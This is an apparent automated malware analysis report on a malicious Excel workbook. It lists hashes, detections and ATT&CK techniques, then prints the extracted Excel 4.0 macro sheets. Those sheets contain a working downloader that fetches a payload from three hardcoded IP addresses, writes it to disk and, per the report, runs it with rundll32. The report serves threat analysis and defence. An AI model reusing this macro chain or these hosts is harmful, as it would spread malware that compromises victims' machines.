Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f16c6df7cb375d81…

MALICIOUS

Office (OOXML)

196.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-23
MD5: 7c2dba08c9c343efb6aeb912904b00d5 SHA-1: a02edc0d4c8cba02d4a034c868767cb5f57e2aeb SHA-256: f16c6df7cb375d81a951833096c2fa18a908d42df80cf36259a00383dd4354cf
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The file contains Excel 4.0 macro sheets with critical heuristic firings indicating the use of dangerous functions like FORMULA, GOTO, and HALT. These functions are used to call Win32 APIs, specifically 'URLDownloadToFileA', which is evident in the extracted DOC BODY content. The script attempts to download a file to '../lertio.cersw' and execute it using 'rundll32'. This indicates a downloader pattern aiming to fetch and run a second-stage payload.

Heuristics 7

  • ClamAV: Xls.Downloader.GreenEnable052-9863734-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable052-9863734-1
  • Excel 4.0 macro sheet (6 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1190 bytes
SHA-256: e26278d9df62929caddc39c2675d1a93c805965a35896b4c4240468b728373e2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 2846 bytes
SHA-256: 016b6b2eb925583b560ac181c148d0d9af6e5e0d9ff4bb66474d2f0161995757
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="C20:G35"/><sheetViews><sheetView showFormulas="1" topLeftCell="A4" workbookViewId="0"><selection activeCell="A4" sqref="A4"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.85546875" style="1"/></cols><sheetData><row r="20" spans="3:7" x14ac:dyDescent="0.25"><c r="F20" s="1" t="b"><f>FORMULA(Sheet000!P16,F27)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="3:7" x14ac:dyDescent="0.25"><c r="F23" s="1" t="str"><f>NOW()&amp;".dat"</f><v>44329,6550195602.dat</v></c></row><row r="25" spans="3:7" x14ac:dyDescent="0.25"><c r="C25" s="1" t="s"><v>6</v></c></row><row r="26" spans="3:7" x14ac:dyDescent="0.25"><c r="C26" s="1" t="s"><v>9</v></c></row><row r="27" spans="3:7" x14ac:dyDescent="0.25"><c r="C27" s="1" t="s"><v>8</v></c><c r="G27" s="1" t="str"><f>"http://"</f><v>http://</v></c></row><row r="28" spans="3:7" x14ac:dyDescent="0.25"><c r="C28" s="1" t="s"><v>0</v></c><c r="E28" s="1" t="str"><f>"185.183.96.233/"</f><v>185.183.96.233/</v></c><c r="F28" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;E28&amp;F23,"..\lertio.cersw",0,0)</f><v>#NAME?</v></c></row><row r="29" spans="3:7" x14ac:dyDescent="0.25"><c r="C29" s="1" t="s"><v>1</v></c><c r="E29" s="1" t="str"><f>"51.89.115.125/"</f><v>51.89.115.125/</v></c><c r="F29" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;E29&amp;F23,"..\lertio.cersw1",0,0)</f><v>#NAME?</v></c></row><row r="30" spans="3:7" x14ac:dyDescent="0.25"><c r="C30" s="1" t="s"><v>3</v></c><c r="E30" s="1" t="str"><f>"190.14.37.64/"</f><v>190.14.37.64/</v></c><c r="F30" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;E30&amp;F23,"..\lertio.cersw2",0,0)</f><v>#NAME?</v></c></row><row r="31" spans="3:7" x14ac:dyDescent="0.25"><c r="C31" s="1" t="s"><v>2</v></c></row><row r="35" spans="6:6" x14ac:dyDescent="0.25"><c r="F35" s="1" t="e"><f>GOTO(Sheet2!H13)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2238 bytes
SHA-256: c627eb02b6049ab2ba980fb2219c111f1c6d4332ae6ea02091532d722ca536f0
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="H19:L31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="8.140625" style="1"/><col min="8" max="9" width="8.140625" style="1" customWidth="1"/><col min="10" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="19" spans="8:12" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J18&amp;Sheet000!J19,H25)=PI()=PI()=PI()</f><v>0</v></c><c r="J19" s="1" t="s"><v>6</v></c></row><row r="20" spans="8:12" x14ac:dyDescent="0.25"><c r="J20" s="1" t="s"><v>7</v></c></row><row r="21" spans="8:12" x14ac:dyDescent="0.25"><c r="J21" s="1" t="s"><v>11</v></c></row><row r="22" spans="8:12" x14ac:dyDescent="0.25"><c r="J22" s="1" t="s"><v>10</v></c><c r="K22" s="1" t="s"><v>14</v></c><c r="L22" s="1" t="s"><v>13</v></c></row><row r="23" spans="8:12" x14ac:dyDescent="0.25"><c r="J23" s="1" t="s"><v>12</v></c></row><row r="24" spans="8:12" x14ac:dyDescent="0.25"><c r="J24" s="1" t="s"><v>5</v></c></row><row r="25" spans="8:12" x14ac:dyDescent="0.25"><c r="J25" s="1" t="s"><v>4</v></c></row><row r="31" spans="8:12" x14ac:dyDescent="0.25"><c r="H31" s="1" t="e"><f>GOTO(Sheet3!G2)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1463 bytes
SHA-256: b799fe19146b2d88a059ba2f416e9e108ec4d3802659d338d7b81f2d62a387a0
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1155E9B9-B0CD-42F9-A966-3A754062B27E}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="9" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J21&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="e"><f>GOTO(Sheet4!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1469 bytes
SHA-256: 2606388a7d493e2de5e08d5a58acd765f1fb51cd2e623e5a4a8ae97e15cd9950
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8D29E0F2-14A8-4D3C-A016-AA1287FA05D1}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.85546875" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J22&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1476 bytes
SHA-256: f4a17b32653b96ae29aa1557978f76395ad96653818e54b0c717a27657960068
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{65E179ED-D9FF-4EED-BC75-2D2CB5EF5CA2}"><dimension ref="A10:A15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A3" sqref="A3"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.85546875" style="1"/></cols><sheetData><row r="10" spans="1:1" x14ac:dyDescent="0.25"><c r="A10" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02","Hot")</f><v>0</v></c></row><row r="15" spans="1:1" x14ac:dyDescent="0.25"><c r="A15" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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